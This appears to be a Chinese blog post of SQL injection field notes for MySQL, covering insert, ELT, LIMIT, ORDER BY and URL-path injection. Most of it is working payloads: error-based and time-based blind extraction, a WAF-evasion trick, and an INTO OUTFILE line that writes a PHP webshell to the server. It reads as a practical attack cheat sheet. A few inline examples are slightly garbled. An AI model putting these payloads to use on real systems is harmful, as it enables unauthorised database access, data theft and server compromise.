SQL注入实战总结

文章目录

  • 0x01 insert注入
  • 0x02 ELT注入
  • 0x03 limit注入
    • PROCEDURE
    • INTO
  • 0x04 html网页注入
  • 0x05 order by注入
  • 0x06 实战payload

0x01 insert注入

insert into tablename(col1,col2,col3) values(v1,v2,v3)

拼接即可,判断哪个不报错,并且观察回显位

1')--+
1','2')--+
1','2','3')--+

如果没有回显只是报错

' or updatexml(1,concat('~',(select database()),'~'),1)  or '

0x02 ELT注入

该思路来自一位朋友分享,绕过了云waf

elt 函数可以代替ifcase when
extractvalue() 可以来代替updatexml 函数

elt()

elt(n,str1,str2,str3);
该函数的作用是,返回参数中的第n个字符串,参数可以是字符串常量或者列名。

比如:
select elt(2'888','666');
其返回的结果是666。

如果第一个参数是0,则返回NULL。并且如果第一个参数是0,后面无论是什么,都不会考虑了,如果是函数,则不会运行了。

payload:

# 正确报错
select extractvalue(1,ELT(substring(current_user,1,1)="r","~",1));	
ERROR 1105 (HY000): XPATH syntax error: '~'

# 错误回显
select extractvalue(1,ELT(substring(current_user,1,1)="q","~",1));
+------------------------------------------------------------+
| extractvalue(1,ELT(substring(current_user,1,1)="q","~",1)) |
+------------------------------------------------------------+
| NULL                                                       |
+------------------------------------------------------------+
1 row in set (0.000 sec)
extra'ctvalue(1,EL'T(1=1,"~",1))
extra'ctvalue(1,EL'T(substring(current_user,1,1)="s","~",1))

0x03 limit注入

Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
此方法适用于MySQL 5.x中,在 limit语句后面的注入

PROCEDURE

报错注入

后面加单引号直接报错了

 SELECT * FROM `demo03`.`dso_news` WHERE status=99 AND catid IN (147,152,240,153,193,194,195,196,154,242,243,244,245,246,155,272,277,278,279,280,283,285,148,159,290,291,292,293,294,298,289,295,296,299,149,164,150,168,308,151,172,284) ORDER BY listorder ASC,id DESC LIMIT 30\' 

可以看到注入位置是在limit后面,并且还将单引号转义了,本地测试limit注入如下

procedure analyse(1,extractvalue(rand(),concat(0x3a,version())))

在这里插入图片描述
时间盲注

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select 
extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

INTO

(INTO 关键字在有写权限可以用来写文件)

尝试利用 into outfile 写shell 虽然dumpfile也可以写文件但是因为 dumpfile 后面没有附加参数(export_options) 这点是 into outfile 利用的关键

SELECT * FROM `user` WHERE `id` = 1 LIMIT 1 into outfile "C:/Users/administrator/Desktop/a.php" lines terminated by "$_POST[1]);?>";

在这里插入图片描述

0x04 html网页注入

有的时候会遇到这种注入,加载网页后面,感觉很奇葩,记录一下payload
SQL注入实战总结_第1张图片直接在网页后面加单引号就报错了
SQL注入实战总结_第2张图片最后payload如下,类似于'||'a'<'b

/cn'+AND+updatexml(0,concat(0x7e,(select+version()),0x7e),0)+AND+'000TqP0'='000TqP0/

SQL注入实战总结_第3张图片

0x05 order by注入

更多参考:sql注入之order by注入

# 报错注入
select *from cy order by id and(updatexml(1,concat(0x7e,(select user())),0));

# 盲注
select *from cy order by id,(select 1 from (select sleep(1))a);

# union$query  = "select * from test order by user_id $evil;";没有使用括号包裹的时候,是无法直接使用union查询的。
当 $query  = "(select * from test order by user_id $evil);";使用括号进行包裹的时候,此时是可以进行union查询的。
payload:
(select *from cy order by id)union(select 1,version(),3);

SQL注入实战总结_第4张图片

# if
select *from cy order by if(1=,id,name);
select *from cy order by if(1=2,id,name);

0x06 实战payload

if(now()=sysdate(),sleep(6),0)

SQL注入实战总结_第5张图片

你可能感兴趣的:(#,漏洞总结,sql,数据库)